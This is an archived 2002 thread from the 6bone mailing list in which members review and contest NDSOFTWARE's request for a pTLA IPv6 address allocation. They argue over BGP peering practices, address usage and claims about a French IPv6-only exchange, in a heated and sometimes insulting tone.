> >> http://noc.ndsoftwarenet.com/
> 
> Over IPv4, "This site is under contruction." [sic]
> 
> While this may be very precisely "describing the Applicant's IPv6 
> services", I feel that it fails to meet the spirit of the requirement.
> 
> Worse, over IPv6, only the default Apache screen is displayed. So while 
> the system may be IPv6 reachable, it can hardly be deemed accessible.

Worksforme.  Both with Mozilla and lynx.  IPv6 and IPv4.

Maybe your client isn't sending the HTTP Host: header?

-- 
Russell King (rmk@arm.linux.org.uk)                The developer of ARM Linux
             http://www.arm.linux.org.uk/personal/aboutme.html


From paitken@cisco.com Sat Oct 19 10:51:03 2002
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Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
References: <5.1.0.14.0.20021016061927.02891008@imap2.es.net> 	<3DB19063.9020105@cisco.com> <1035048815.629.1796.camel@wks1.fr.corp.ndsoftware.com>
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Nicolas,

>>Over IPv4, "This site is under contruction." [sic]
> 
> Where ?
> I don't see under construction...

I only quoted what I saw (including the spelling mistake).


> Over IPv6 it's work fine, i can send you the log of access with IPv6
> address since 05/Sep/2002.

I only say what I saw when I pointed my browser at 
http://[3ffe:81f1:11:1:2::6]/ (and FWIW, it's not changed).


> u1000000@wks1:~$ whois 3ffe:c15:c000:c:203:47ff:feb6:6a8b

Yes, that's me.


>>>>ipmaster@ndsoftwarenet.com
>>>
>>This entry is not "pointed to with a notify attribute in the ipv6-site 
>>object for the pTLA Applicant".
> 
> Yes, we use notify@ndsoftwarenet.com on notify attribute for have a
> better management.

Then list this in your application!

Cheers.
-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX


From dragon@tdoi.org Sat Oct 19 11:06:59 2002
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Hello 6bone members,

I recieved the following mail from a french LIR that wants to stay anonymous:


>Christian,
>
>to be honnest, French IPv6 community is also very annoyed by Mr. Deffayet.
>Its behaviour is starting to get on our nerves.
>
>What you've forgotten to tell in your mail to the 6bone mailing-list is
>that Mr Deffayet does not hesitate to insult the peoples who refuse to
>grant him BGP sessions or tunnels.
>
>As maintainer of the xxx pTLA and maintainer of the xxx RIPE sTLA,
>I am used to be victim of Mr Deffayet's attacks only
>because I decline to offer him tunnel or BGP4+ for legitimate reasons.
>
>> ok now my personal opinion:
>>
>> I don't support the pTLA request of NDSOFTWARE because:
>
>I do TOTALY agree with you. It is a matter of survival for the IPv6
>worldwide experimentation and deployement not to allow Mr. Deffayet to
>play with global BGP.
>
>The reason is obvious : that kid (and yes, it is truely a kid and its
>compagny does NOT exists legally in France) is taking IPv6 as a HOBBY.
>It's goal is nothing more than collecting tunnels and BGP sessions without
>having any clues about avoiding trombonning, using MEDs or wise
>communities. Some peoples believe "NDSoftware" is the root cause (or at
>least a big part of the cause) of the "ghost AS_pathes" we saw emerging a
>few months ago.
>
>A hidden AS with so many BGP sessions redistributing everything with
>no-export is not a sane thing. It is even worse if some of the peers of
>that AS are not conforming to the no-export tag.
>
>When peoples like xxx, xxx, xxx and many other are making
>efforts to limit transcontinentals tunnels, trying to have v6 topology
>matching the underlying v4 one to optimize RTTs or to even spend money and
>time to deploy native IPv6, we are truely sad to see that a kid playing
>with some PCs running Zebra could annihilate all of those efforts.
>
>Bob, I really do think that you should not give a pTLA to NDSoftware for
>all the reasons here and all the reasons other have raised.
>
>PS: RIPE has been warned too.

PS: Nicolas i think you are the troll of 6bone or should i say of the complete
ipv6 community?

Christian "_DrAGON_" Nickel
TDOI Network | dragon@tdoi.org | www.tdoi.org


From tjc@ecs.soton.ac.uk Sat Oct 19 11:19:08 2002
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From: Tim Chown <tjc@ecs.soton.ac.uk>
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On Sat, Oct 19, 2002 at 07:15:28PM +0200, Nicolas DEFFAYET wrote:
> 
> We have 101 BGP4+ peer, our current routers are full (zebra is very
> unstable if i add new peer) and we want get new peer with other
> pTLA/sTLA that we can't get with our old private ASN.

So how many of these 101 BGP peerings are on direct native links?

I would have thought 5-10 would be more than ample.   It's not a race to see
who can get the most(!)

> TDOI don't provide a lot of tunnels (more than 50) to users, it's for
> that reason that we shutdown your peering.

Tunnels to end users is one thing, the question is more on your infrastructure
peerings to other pTLAs (or SubTLAs, if any would peer with you...)

There are many networks trying to deploy IPv6 with some structure to the
connectivity, removing multi-hop IPv4 tunnels, trying to get a more predictable
IPv6 service, as more people begin to use IPv6 daily.  I'm not sure that any
ISP with 101 BGP peerings is helping that.   Perhaps you can explain your
goals in building these peerings?

Tim

From rico@noris.de Sat Oct 19 11:38:36 2002
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Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
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On Sat, Oct 19, 2002 at 07:15:28PM +0200, Nicolas DEFFAYET wrote:
> Why we close peering with private ASN the 23 October 2002:
> 
> We have 101 BGP4+ peer, our current routers are full (zebra is very
> unstable if i add new peer) and we want get new peer with other
> pTLA/sTLA that we can't get with our old private ASN.
> 
> We don't delete peers with private ASN because "private ASN sucks", we
> keep peering with important private ASN like NextGenCollective or
> IPNG-UK (this 2 projects projet provide a lot of tunnels to users). I
> understand their status, it's why i keep peering with them.
> 
> TDOI don't provide a lot of tunnels (more than 50) to users, it's for
> that reason that we shutdown your peering.

Ok, let me rephrase you:
| I close tunnels to small local Peers because i want to peer with Large
| Peers around the world.

Did I understand you correctly?

If so, i hope all your Peers will decrease the Priority to you to a very
minimum, because this is the best Way to fuck up IPv6-Routing.

	-rg

PS: I dont see how colocated Boxes qualify for the Attribute "IX",
let it be alone "First IPv6 IX in $TLD", if so there were sure some more
IPv6-only IXs before you in your TLD.

From nicolas.deffayet@ndsoftware.net Sat Oct 19 11:57:47 2002
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Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Rico Gloeckner <rico@noris.net>
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On Sat, 2002-10-19 at 20:38, Rico Gloeckner wrote:

> Ok, let me rephrase you:
> | I close tunnels to small local Peers because i want to peer with Large
> | Peers around the world.
> 
> Did I understand you correctly?
> 
> If so, i hope all your Peers will decrease the Priority to you to a very
> minimum, because this is the best Way to fuck up IPv6-Routing.

I use MED, i don't have a bad routing, you can check:

http://noc.ndsoftwarenet.com/stats/aspath-tree/bgp-page-complete.php

I see all european pTLA/sTLA by European peer,...

My MED for tunnels:

500: - 10 ms
510: 10 - 25 ms
520: 25 - 50 ms
530: 50 - 100 ms
540: + 100 ms

A lot of pTLA and sTLA don't use MED, i use MED for have a good quality.


> PS: I dont see how colocated Boxes qualify for the Attribute "IX",
> let it be alone "First IPv6 IX in $TLD", if so there were sure some more
> IPv6-only IXs before you in your TLD.

FNIX6 is the first IPv6 (IPv6 only of course) Internet Exchange in
France.
SFINX is the first IPv4/IPv6 (dualstack) Internet Exchange in France.

I have a full rack for FNIX6 with a switch in it.

Best Regards,

Nicolas DEFFAYET


From nicolas.deffayet@ndsoftware.net Sat Oct 19 12:25:23 2002
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Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Christian Nickel <dragon@tdoi.org>
Cc: 6BONE List <6bone@mailman.isi.edu>
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On Sat, 2002-10-19 at 20:06, Christian Nickel wrote:

> I recieved the following mail from a french LIR that wants to stay anonymous:

Very serious...

> >to be honnest, French IPv6 community is also very annoyed by Mr. Deffayet.
> >Its behaviour is starting to get on our nerves.

What's the French IPv6 community ?

You have _a_ (not the) French IPv6 community: IPv6-FR (on IRC #ipv6-fr @
irc.ndsoftwarenet.com / #ipv6-fr @ IRCnet).

> >What you've forgotten to tell in your mail to the 6bone mailing-list is
> >that Mr Deffayet does not hesitate to insult the peoples who refuse to
> >grant him BGP sessions or tunnels.

I never do this.
I want see this mail, send it with _FULL header_ on this list.

> >As maintainer of the xxx pTLA and maintainer of the xxx RIPE sTLA,

It's ISDnet, why hide it ?

> >I am used to be victim of Mr Deffayet's attacks only
> >because I decline to offer him tunnel or BGP4+ for legitimate reasons.

I never attack this administrator.

> >> ok now my personal opinion:
> >>
> >> I don't support the pTLA request of NDSOFTWARE because:
> >
> >I do TOTALY agree with you. It is a matter of survival for the IPv6
> >worldwide experimentation and deployement not to allow Mr. Deffayet to
> >play with global BGP.

Very funny.

Ask many other administrators, no problem with my BGP.
When i used my private ASN, i always announced my 3 /32 with community
no-export and never sent a full transit.


> >The reason is obvious : that kid (and yes, it is truely a kid and its
> >compagny does NOT exists legally in France) is taking IPv6 as a HOBBY.
> >It's goal is nothing more than collecting tunnels and BGP sessions without
> >having any clues about avoiding trombonning, using MEDs or wise
> >communities. Some peoples believe "NDSoftware" is the root cause (or at
> >least a big part of the cause) of the "ghost AS_pathes" we saw emerging a
> >few months ago.

NDSoftware exist, IPv6-FR exist.

With many tunnels, i have do a lot of tests, i know now the limit of
Zebra, what's the best solution for manage a lot of peering,...

I use MED, i don't have a bad routing, you can check:

http://noc.ndsoftwarenet.com/stats/aspath-tree/bgp-page-complete.php

I see all european pTLA/sTLA by European peer,...

My MED for tunnels:

500: - 10 ms
510: 10 - 25 ms
520: 25 - 50 ms
530: 50 - 100 ms
540: + 100 ms

A lot of pTLA and sTLA don't use MED, i use MED for have a good quality.


I'm not the source of this "ghost AS_pathes", read archive of this list.

> >A hidden AS with so many BGP sessions redistributing everything with
> >no-export is not a sane thing. It is even worse if some of the peers of
> >that AS are not conforming to the no-export tag.

When peer didn't understand community no-export, i didn't send any
routes.

> >When peoples like xxx, xxx, xxx and many other are making
> >efforts to limit transcontinentals tunnels, trying to have v6 topology
> >matching the underlying v4 one to optimize RTTs or to even spend money and
> >time to deploy native IPv6, we are truely sad to see that a kid playing
> >with some PCs running Zebra could annihilate all of those efforts.

I use MED....
I see all european pTLA/sTLA by European peer,...

I'm not a kid.
I don't have Cisco or Juniper routers because i don't have the budget
for that. You can offer me a Cisco if you want...

> >Bob, I really do think that you should not give a pTLA to NDSoftware for
> >all the reasons here and all the reasons other have raised.
> >
> >PS: RIPE has been warned too.

I respect all 6bone rules...

> PS: Nicolas i think you are the troll of 6bone or should i say of the complete
> ipv6 community?

Yes, you are a troll expert with your friends.



From nicolas.deffayet@ndsoftware.net Sat Oct 19 12:29:20 2002
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Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Jeroen Massar <jeroen@unfix.org>
Cc: 6bone@ISI.EDU, "'Bob Fink'" <fink@es.net>
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On Sat, 2002-10-19 at 19:14, Jeroen Massar wrote:
> 
> > NDSOFTWARE has requested a pTLA allocation and I find their request
> fully 
> > compliant with RFC2772. The open review period for this will close 23 
> > October 2002. Please send your comments to me or the list.
> > 
> > <http://whois.6bone.net/cgi-bin/whois?NDSOFTWARE>
> > 
> > <http://noc.ndsoftwarenet.com/>
> 
> I got a couple of questions about this request:
> 
> - Where/what is he going to use this pTLA for if it gets assigned?
> (his "ISP" can't use it for _commercial_ purposes as 6bone is for
> expermenting) 

I provide IPv6 connectivity to many projects with no commercial
objectives of course.

> - What/Where is he currently using his _3_ /32's for?

 - Internal test
 - IPv6 network
 - FNIX6
 - IPv6-FR
 - ftp://ftp.openipv6.com
 - Mirrors of website
 - Delegation to many projects
 - ...

> - What is his planned/current backbone?
> (This has to do with the fact that he is probably going to do transit
> over it and
> that will destabilize the 6bone even more...)

I provide transit only if peer request it.
I don't will destabilize the 6bone !

> - What is going to happen with the other _3_ /32's he already has?

I will return this 3 /32 to their owner when i will get my pTLA.

> - Can't he get some IPv6 space from his upstreams?

No, i want announce a pTLA.

Best Regards,

Nicolas DEFFAYET



From nicolas.deffayet@ndsoftware.net Sat Oct 19 12:35:58 2002
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Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Tim Chown <tjc@ecs.soton.ac.uk>
Cc: Christian Nickel <dragon@tdoi.org>, Bob Fink <fink@es.net>,
   6BONE List
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On Sat, 2002-10-19 at 20:18, Tim Chown wrote:

> There are many networks trying to deploy IPv6 with some structure to the
> connectivity, removing multi-hop IPv4 tunnels, trying to get a more predictable
> IPv6 service, as more people begin to use IPv6 daily.  I'm not sure that any
> ISP with 101 BGP peerings is helping that.   Perhaps you can explain your
> goals in building these peerings?

With many peerings, i do a lot of tests, i know now the limit of
Zebra, what's the best solution for manage a lot of peering,...

I don't provide transit to all of this peers, i can't be a problem.

Best Regards,

Nicolas DEFFAYET


From jeroen@unfix.org Sat Oct 19 12:39:45 2002
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To: "'Nicolas DEFFAYET'" <nicolas.deffayet@ndsoftware.net>
Cc: <6bone@ISI.EDU>, "'Bob Fink'" <fink@es.net>
Subject: RE: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
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Nicolas DEFFAYET [mailto:nicolas.deffayet@ndsoftware.net] wrote:
> On Sat, 2002-10-19 at 19:14, Jeroen Massar wrote:
> > 
> > > NDSOFTWARE has requested a pTLA allocation and I find 
> their request
> > fully 
> > > compliant with RFC2772. The open review period for this 
> will close 23 
> > > October 2002. Please send your comments to me or the list.
> > > 
> > > <http://whois.6bone.net/cgi-bin/whois?NDSOFTWARE>
> > > 
> > > <http://noc.ndsoftwarenet.com/>
> > 
> > I got a couple of questions about this request:
> > 
> > - Where/what is he going to use this pTLA for if it gets assigned?
> > (his "ISP" can't use it for _commercial_ purposes as 6bone is for
> > expermenting) 
> 
> I provide IPv6 connectivity to many projects with no commercial
> objectives of course.
> 
> > - What/Where is he currently using his _3_ /32's for?
> 
>  - Internal test
>  - IPv6 network
>  - FNIX6
>  - IPv6-FR
>  - ftp://ftp.openipv6.com
>  - Mirrors of website
>  - Delegation to many projects
>  - ...

You need _3_ /32's for a couple of MIRRORS ??????
Come on... get a grip... I know there should be enough IPv6 space
but that is ludacrist!

FNIX doesn't exist as it doesn't have any members, and even if it had
an IX doesn't need any global IP space. (see AMS-IX cases for requesting
it).

> > - What is his planned/current backbone?
> > (This has to do with the fact that he is probably going to do
transit
> > over it and
> > that will destabilize the 6bone even more...)
> 
> I provide transit only if peer request it.
> I don't will destabilize the 6bone !

You don't or you will ? What is it?
I don't have a de-yoda-fier here, sorry.

> > - What is going to happen with the other _3_ /32's he already has?
> 
> I will return this 3 /32 to their owner when i will get my pTLA.
That's too be expected...

> > - Can't he get some IPv6 space from his upstreams?
> 
> No, i want announce a pTLA.

You want to announce a pTLA for a couple of MIRRORS from 2 colo boxes???
Cool, I can mirror some stuff, now I want my personal pTLA too!
Nicolas, mind you that the p in pTLA doesn't stand for 'personal'.
It's for experimental *deployment*, eg providing IPv6 access to users in
experimental stadia, not for having lots of IP space for ftp/www
mirrors.

Greets,
 Jeroen


From nicolas.deffayet@ndsoftware.net Sat Oct 19 12:48:31 2002
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Subject: RE: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Jeroen Massar <jeroen@unfix.org>
Cc: 6bone@ISI.EDU, "'Bob Fink'" <fink@es.net>
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On Sat, 2002-10-19 at 21:39, Jeroen Massar wrote:
> > > - What/Where is he currently using his _3_ /32's for?
> > 
> >  - Internal test
> >  - IPv6 network
> >  - FNIX6
> >  - IPv6-FR
> >  - ftp://ftp.openipv6.com
> >  - Mirrors of website
> >  - Delegation to many projects
> >  - ...
> 
> You need _3_ /32's for a couple of MIRRORS ??????
> Come on... get a grip... I know there should be enough IPv6 space
> but that is ludacrist!

I will return this 3 /32 to their owner when i will get my pTLA.

> FNIX doesn't exist as it doesn't have any members, and even if it had
> an IX doesn't need any global IP space. (see AMS-IX cases for requesting
> it).

I can't request a /48 for FNIX6 to RIPE because NDSoftware is not LIR.

> > > - What is his planned/current backbone?
> > > (This has to do with the fact that he is probably going to do
> transit
> > > over it and
> > > that will destabilize the 6bone even more...)
> > 
> > I provide transit only if peer request it.
> > I don't will destabilize the 6bone !
> 
> You don't or you will ? What is it?

I never destabilize the 6bone, i don't destabilize the 6bone and i will
never destabilize the 6bone.

> > > - Can't he get some IPv6 space from his upstreams?
> > 
> > No, i want announce a pTLA.
> 
> You want to announce a pTLA for a couple of MIRRORS from 2 colo boxes???

I don't have only this...
I delegate a lof of IPv6 blocks to many projects, see my whois.

> Cool, I can mirror some stuff, now I want my personal pTLA too!

It's NOT a personal pTLA.

I request it for NDSoftware and for many projects.

> Nicolas, mind you that the p in pTLA doesn't stand for 'personal'.
> It's for experimental *deployment*, eg providing IPv6 access to users in
> experimental stadia, not for having lots of IP space for ftp/www
> mirrors.

Yes, i provide IPv6 access to users, see my whois.

Best Regards,

Nicolas DEFFAYET


From bortzmeyer@gitoyen.net Sat Oct 19 12:55:11 2002
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Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002 
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On Saturday 19 October 2002, at 20 h 6, 
"Christian Nickel" <dragon@tdoi.org> wrote:

> I recieved the following mail from a french LIR that wants to stay anonymous:

As a French LIR myself, I can say that I find annoying that cowards' comments 
are forwarded to the 6bone list.

Nicolas Deffayet is obnoxious enough with what he does publicly (such as 
pretending his toy is the "first IPv6 IXP in France"). No need to add 
anonymous accusations.

> >time to deploy native IPv6, we are truely sad to see that a kid playing
> >with some PCs running Zebra could annihilate all of those efforts.

That b...s...t about Zebra (which we use in production) is one more thing that 
should warn 6bone readers against that anonymous comment.



From jeroen@unfix.org Sat Oct 19 13:08:41 2002
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To: "'Nicolas DEFFAYET'" <nicolas.deffayet@ndsoftware.net>
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Subject: RE: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
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Nicolas DEFFAYET [mailto:nicolas.deffayet@ndsoftware.net] wrote:

> On Sat, 2002-10-19 at 21:39, Jeroen Massar wrote:
> > > > - What/Where is he currently using his _3_ /32's for?
> > > 
> > >  - Internal test
> > >  - IPv6 network
> > >  - FNIX6
> > >  - IPv6-FR
> > >  - ftp://ftp.openipv6.com
> > >  - Mirrors of website
> > >  - Delegation to many projects
> > >  - ...
> > 
> > You need _3_ /32's for a couple of MIRRORS ??????
> > Come on... get a grip... I know there should be enough IPv6 space
> > but that is ludacrist!
> 
> I will return this 3 /32 to their owner when i will get my pTLA.
Have you got, or better does a numberplan even exist for any of these?
You might consider returning them now.

> > FNIX doesn't exist as it doesn't have any members, and even 
> if it had
> > an IX doesn't need any global IP space. (see AMS-IX cases 
> for requesting
> > it).
> 
> I can't request a /48 for FNIX6 to RIPE because NDSoftware is not LIR.
No, that's the complete idea, persons should not be able to do that.

> > > > - What is his planned/current backbone?
> > > > (This has to do with the fact that he is probably going to do
> > transit
> > > > over it and
> > > > that will destabilize the 6bone even more...)
> > > 
> > > I provide transit only if peer request it.
> > > I don't will destabilize the 6bone !
> > 
> > You don't or you will ? What is it?
> 
> I never destabilize the 6bone, i don't destabilize the 6bone 
> and i will never destabilize the 6bone.
Can you make up a signed document in triplet,
postal mail that to 6bone secretariat and put up a scanned version too?

> > > > - Can't he get some IPv6 space from his upstreams?
> > > 
> > > No, i want announce a pTLA.
> > 
> > You want to announce a pTLA for a couple of MIRRORS from 2 
> colo boxes???
> 
> I don't have only this...
> I delegate a lof of IPv6 blocks to many projects, see my whois.
"I" "I" , "my" whois?

> > Cool, I can mirror some stuff, now I want my personal pTLA too!
> 
> It's NOT a personal pTLA.
> 
> I request it for NDSoftware and for many projects.
That's why you say "I" 4 lines above this.
And only "I" and "my" and nothing else, never "ndsoftware".
Where is the "rest" of NDSoftware (Nicolas DEFFAYET Software).

> > Nicolas, mind you that the p in pTLA doesn't stand for 'personal'.
> > It's for experimental *deployment*, eg providing IPv6 
> access to users in
> > experimental stadia, not for having lots of IP space for ftp/www
> > mirrors.
> 
> Yes, i provide IPv6 access to users, see my whois.

I found 10 "user" inet6nums in the 6bone whois database.
They where all sized /44, that's quite big, present a numberplan please.
You don't need a pTLA, you need a delegation from NERIM, they are your
upstream.

And please think up new answers and answer the questions.
I get quite annoyed by receiving the same nonsense over and over.

Greets,
 Jeroen


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From: Stephane Bortzmeyer <bortzmeyer@gitoyen.net>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002 
In-reply-to: <1035056975.634.2109.camel@wks1.fr.corp.ndsoftware.com> 
     (Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>'s message of 
     19 Oct 2002 21:49:35 +0200)
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On Saturday 19 October 2002, at 21 h 49, 
Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net> wrote:

> > FNIX doesn't exist as it doesn't have any members, and even if it had
> > an IX doesn't need any global IP space. (see AMS-IX cases for requesting
> > it).
> 
> I can't request a /48 for FNIX6 to RIPE because NDSoftware is not LIR.

<pedantic>You can always go through an existing LIR. Gitoyen could certainly do it, even if I find the idea of an IPv6-only IXP absolutely wrong.</pedantic>

<anyway>I strongly disagree with Jeroen, an IXP should really have global and routable IP addresses.</anyway>




From nicolas.deffayet@ndsoftware.net Sat Oct 19 13:26:28 2002
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Subject: RE: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Jeroen Massar <jeroen@unfix.org>
Cc: 6bone@ISI.EDU, "'Bob Fink'" <fink@es.net>
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On Sat, 2002-10-19 at 22:08, Jeroen Massar wrote:
> Nicolas DEFFAYET [mailto:nicolas.deffayet@ndsoftware.net] wrote:
> 
> > On Sat, 2002-10-19 at 21:39, Jeroen Massar wrote:
> > > > > - What/Where is he currently using his _3_ /32's for?
> > > > 
> > > >  - Internal test
> > > >  - IPv6 network
> > > >  - FNIX6
> > > >  - IPv6-FR
> > > >  - ftp://ftp.openipv6.com
> > > >  - Mirrors of website
> > > >  - Delegation to many projects
> > > >  - ...
> > > 
> > > You need _3_ /32's for a couple of MIRRORS ??????
> > > Come on... get a grip... I know there should be enough IPv6 space
> > > but that is ludacrist!
> > 
> > I will return this 3 /32 to their owner when i will get my pTLA.
> Have you got, or better does a numberplan even exist for any of these?
> You might consider returning them now.

I will move the 3 /32 in the pTLA.

For the moment, i use:

/35 DELEGATION (/48, /44, /40)
/35 IPV6-FR
/36 NEXTGENCOLLECTIVE
/36 NDSOFTWARE

A lot of /24 and /28 pTLA use only one /48 in their pTLA...

I hope that you see that i need a pTLA.

> > > Cool, I can mirror some stuff, now I want my personal pTLA too!
> > 
> > It's NOT a personal pTLA.
> > 
> > I request it for NDSoftware and for many projects.
> That's why you say "I" 4 lines above this.
> And only "I" and "my" and nothing else, never "ndsoftware".

Don't play with words.

> Where is the "rest" of NDSoftware (Nicolas DEFFAYET Software).

I'm the founder of NDSoftware, yes NDSoftware = Nicolas DEFFAYET
Software.
NDSoftware exist since 03/2000.
I use "I" for call NDSoftware because it's my company.


> You don't need a pTLA, you need a delegation from NERIM, they are your
> upstream.

No, i need a pTLA.

Best Regards,

Nicolas DEFFAYET


From nicolas.deffayet@ndsoftware.net Sat Oct 19 13:33:54 2002
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Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Stephane Bortzmeyer <bortzmeyer@gitoyen.net>
Cc: Christian Nickel <dragon@tdoi.org>, 6BONE List <6bone@mailman.isi.edu>
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On Sat, 2002-10-19 at 21:54, Stephane Bortzmeyer wrote:
> On Saturday 19 October 2002, at 20 h 6, 
> "Christian Nickel" <dragon@tdoi.org> wrote:
> 
> > I recieved the following mail from a french LIR that wants to stay anonymous:
> 
> As a French LIR myself, I can say that I find annoying that cowards' comments 
> are forwarded to the 6bone list.

LIR != god of Internet

> Nicolas Deffayet is obnoxious enough with what he does publicly (such as 
> pretending his toy is the "first IPv6 IXP in France"). No need to add 
> anonymous accusations.

FNIX6 is the first french IPv6 Internet Exchange.
IPv6 Internet Exchange = IPv6 only

Why do you don't want see the reality ?
Check all french IX websites, you will find that FNIX6 is the first that
offer IPv6 without IPv4.
 
> > >time to deploy native IPv6, we are truely sad to see that a kid playing
> > >with some PCs running Zebra could annihilate all of those efforts.
> 
> That b...s...t about Zebra (which we use in production) is one more thing that 
> should warn 6bone readers against that anonymous comment.

Yes, Zebra is very stable.

Best Regards,

Nicolas DEFFAYET



From jeroen@unfix.org Sat Oct 19 13:41:14 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Nicolas DEFFAYET'" <nicolas.deffayet@ndsoftware.net>
Cc: <6bone@ISI.EDU>, "'Bob Fink'" <fink@es.net>
Subject: RE: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
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Nicolas DEFFAYET [mailto:nicolas.deffayet@ndsoftware.net] wrote:

> On Sat, 2002-10-19 at 22:08, Jeroen Massar wrote:
> > Nicolas DEFFAYET [mailto:nicolas.deffayet@ndsoftware.net] wrote:
> > 
> > > On Sat, 2002-10-19 at 21:39, Jeroen Massar wrote:
> > > > > > - What/Where is he currently using his _3_ /32's for?
> > > > > 
> > > > >  - Internal test
> > > > >  - IPv6 network
> > > > >  - FNIX6
> > > > >  - IPv6-FR
> > > > >  - ftp://ftp.openipv6.com
> > > > >  - Mirrors of website
> > > > >  - Delegation to many projects
> > > > >  - ...
> > > > 
> > > > You need _3_ /32's for a couple of MIRRORS ??????
> > > > Come on... get a grip... I know there should be enough IPv6
space
> > > > but that is ludacrist!
> > > 
> > > I will return this 3 /32 to their owner when i will get my pTLA.
> > Have you got, or better does a numberplan even exist for 
> any of these?
> > You might consider returning them now.
> 
> I will move the 3 /32 in the pTLA.
> 
> For the moment, i use:
_I_ use.

> /35 DELEGATION (/48, /44, /40)
For what? Llama's? Vhosts? Mirrors?

> /35 IPV6-FR
> /36 NEXTGENCOLLECTIVE
> /36 NDSOFTWARE
> 
> A lot of /24 and /28 pTLA use only one /48 in their pTLA...
> 
> I hope that you see that i need a pTLA.

No I don't see any reason for a pTLA.
I do see a reason for making a numberplan.
How many users are in this 3x /32?
A very big ISP can provide IPv6 to whole china with it.
How many 'users' are there in NDSOFTWARE that you need
and can justify a /36 ???

Where did FNIX6 go? Oh yeah it doesn't exist checking the site.

If all _companies_ around this globe allocate like that we will for sure
be needing a 512bits address space.

> > > > Cool, I can mirror some stuff, now I want my personal pTLA too!
> > > 
> > > It's NOT a personal pTLA.
> > > 
> > > I request it for NDSoftware and for many projects.
> > That's why you say "I" 4 lines above this.
> > And only "I" and "my" and nothing else, never "ndsoftware".
> 
> Don't play with words.
_I_ don't play with words. You are, I did watch Starwars I and
understood
Yoda then, but I didn't get a clue about what he is saying in part 6.

> > Where is the "rest" of NDSoftware (Nicolas DEFFAYET Software).
> 
> I'm the founder of NDSoftware, yes NDSoftware = Nicolas DEFFAYET
> Software.
> NDSoftware exist since 03/2000.
> I use "I" for call NDSoftware because it's my company.
And nobody else now is there?
Who are the other people mentioned in _your_ whois ?

> > You don't need a pTLA, you need a delegation from NERIM, 
> they are your
> > upstream.
> 
> No, i need a pTLA.

I again. YOU don't need a pTLA.
WHY ? Oh I'll spell it again : W.H.Y.
Thats: Double-U, Ache, Why: Why.

First justify WHY _your company_ needs it.
Then rememeber that it's for EXPERIMENTAL purposes
So you can't use it COMMERCIALLY.

And again I ask you, if you reply and _your company_ still
want to request a pTLA: answer the above questions in full without
cutting.

Greets,
 Jeroen


From bortzmeyer@gitoyen.net Sat Oct 19 13:47:25 2002
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Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002 
In-reply-to: <1035059690.626.2145.camel@wks1.fr.corp.ndsoftware.com> 
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On Saturday 19 October 2002, at 22 h 34, 
Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net> wrote:

> LIR != god of Internet

Yes, to become a LIR, you need to be a demi-god, you need to be able to 
understand RIPE documents and to format properly a request.
 
> FNIX6 is the first french IPv6 Internet Exchange.
> IPv6 Internet Exchange = IPv6 only

Unlike what happens in the novel "1984", you cannot redefine the language at 
will. For everybody, a "IPv6 Internet Exchange" is an IX where you can run 
IPv6. You know it fairly well but you choosed, by pure dishonesty, to use the 
sentence "the first french IPv6 Internet Exchange" knowing it would confuse 
people.

BTW, I have just started to manufacture the first floating-point processor in 
the world (yes, other processors do floating-point calculations but mine is 
the first to perform only FP operations).
 
> Check all french IX websites, you will find that FNIX6 is the first that
> offer IPv6 without IPv4.

I agree. If you are intellectually honest, you will change your signature to :

FNIX6 is the first french Internet Exchange without IPv4




From jeroen@unfix.org Sat Oct 19 13:49:50 2002
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Subject: RE: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002 
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Stephane Bortzmeyer wrote:

> On Saturday 19 October 2002, at 21 h 49, 
> Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net> wrote:
> 
> > > FNIX doesn't exist as it doesn't have any members, and 
> even if it had
> > > an IX doesn't need any global IP space. (see AMS-IX cases 
> for requesting
> > > it).
<SNIP>

> <anyway>I strongly disagree with Jeroen, an IXP should really 
> have global and routable IP addresses.</anyway>

I have to rectify that you misread me Stephane.
I do want to see the ability for an IXP to get address space that is
routable. Which is why I mentioned the AMS-IX case, which is a
"non-profit, neutral and independent association" and thus can't rely on
other peoples
IP space. The shared medium can run only on the /48, but the services
provided (website, lookingglasses etc) can't. AMS-IX has major
difficulties
getting that space. Notez bien that even RIPE can't request space from
thereselves as they are not a LIR. Odd rules in a odd world.

Greets,
 Jeroen


From nicolas.deffayet@ndsoftware.net Sat Oct 19 13:59:43 2002
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Subject: RE: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Jeroen Massar <jeroen@unfix.org>
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On Sat, 2002-10-19 at 22:41, Jeroen Massar wrote:
> > 
> > I will move the 3 /32 in the pTLA.
> > 
> > For the moment, i use:
> _I_ use.

Why do you play with words ?
It's funny for you ?

> > /35 DELEGATION (/48, /44, /40)
